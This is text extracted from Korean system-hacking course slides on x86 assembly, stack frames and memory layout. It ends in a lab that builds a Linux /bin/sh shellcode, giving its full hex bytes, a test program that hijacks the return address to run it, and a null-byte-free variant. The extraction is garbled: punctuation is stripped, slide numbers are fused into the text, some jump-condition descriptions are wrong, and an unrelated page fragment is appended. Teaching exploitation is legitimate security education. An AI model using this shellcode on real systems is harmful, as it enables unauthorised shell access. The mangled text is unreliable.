- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 17: 80×86  시스템에 대한 이해

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

